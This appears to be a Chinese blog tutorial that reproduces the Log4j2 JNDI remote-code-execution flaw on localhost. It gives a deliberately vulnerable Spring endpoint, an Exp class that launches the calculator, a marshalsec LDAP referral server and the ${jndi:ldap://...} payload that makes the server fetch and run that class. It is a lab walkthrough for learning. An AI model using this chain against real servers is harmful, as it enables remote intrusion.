前言
周末闲暇无事,看到最近爆出的spring漏洞,就想起了年前的Log4j漏洞。
所以顺带的先复现一下log4j漏洞,日后再复现一下spring漏洞。
过程巨详细,复现不了你来找我!
Log4j复现之旅
原理简述
一句话简述就是:存在log4j的Web服务端,能够访问客户端请求中的代码,然后远程执行了此代码。
举个栗子:
你在登录账号的时候,客户端发了一个post请求:user:zhangsan,password:123456
然后服务端就会读到发送的post请求,来决定能否登录成功。
但是存在log4j漏洞的appache服务器。会对post请求中的jndi协议进行解析,从而远程代码执行!
详细原理可以参考: log4j2-RCE 漏洞复现
想知道具体复现的过程的话就请接着往下看吧。
搭建服务端环境
IDEA(我的是2018)–>File–>New–>Project–>Spring Initialize
Next–>java version 选 8(我的JDK版本是8)
Next–>Web–>spring web勾上–>next–>自己取个名字(我的是log4j_demo)–>finish
打开pom 导入log4j的依赖。
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.8.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.8.1</version>
</dependency>
具体位置如下图,在spring-boot-starter-test下面粘贴上就行了
在:D:**\log4j_demo\src\main\java\com\example\demo 下创建java class文件HelloLog4j.java
并编写如下内容:并保存
package com.example.demo;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RestController;
import java.util.Map;
@RestController
public class HelloLog4j {
private Logger Logger = LogManager.getLogger(HelloLog4j.class);
@RequestMapping(value = "/login" , method = {RequestMethod.POST})
public String login(@RequestBody Map body) {
String user = body.get("user").toString();
String password = body.get("password").toString();
Logger.error("user:{}, password:{}" , user ,password);
return "login";
}
}
如图所示,设置VM options
-Dcom.sun.jndi.ldap.object.trustURLCodebase=true
将此代码跑起来。访问一下:http://127.0.0.1:8080/login
可以看到访问是成功了,但是因为浏览器传参用的Get但是服务器设定的是POST,所以会有Whitelabel Error Page。这个我们暂时不用管!至少说明这个服务是开起来了!
编写攻击Exp
我们再新建一个java 文件。File–>new–>project–>java–>next–>next–>自己取个名(我的是Exp)–>Finish
在里面新建一个java class文件,并写入以下内容,这里就是让系统执行一个打开计算器的指令。
import java.io.IOException;
public class Exp {
public Exp(){
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
Exp exploit = new Exp();
}
}
保存–>运行(点击绿色三角形)
可以看到自己的计算机被打开了,并且该文件的同级目录下生成了一个class文件。
这个class文件就是我们后面要利用的Exp。
进入此文件夹。输入cmd,打开小黑框(这样做有个好处,攻击文件就正好的服务器的根目录下)
利用命令,开启一个端口号为1234的本地服务器。
python -m http.server 1234
再利用反序列化工具marshalsec ,开一个LDAP服务,具体操作如下:
先下载好marshalsec,进入相应的文件夹,输入cmd,再在小黑窗输入如下指令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:1234/#Exp
注意:这里最后的#后面的Exp是我的class文件名,可自行修改为你自己的文件名。
实施攻击(Exploit)
利用一个发包工具 https://postwoman. 你用postman也可以,但是hackbar不行(不能改content-type类型)。
进行发包,来模拟黑客攻击。
在Method设置为POST。再点击Add New,如下图操作。
${jndi:ldap://127.0.0.1:1389/Exp}
点击Send实施攻击。
好家伙,马上360开始拦截,报Log4j漏洞攻击。我们点击允许。发现计算器被打开了。漏洞复现成功!!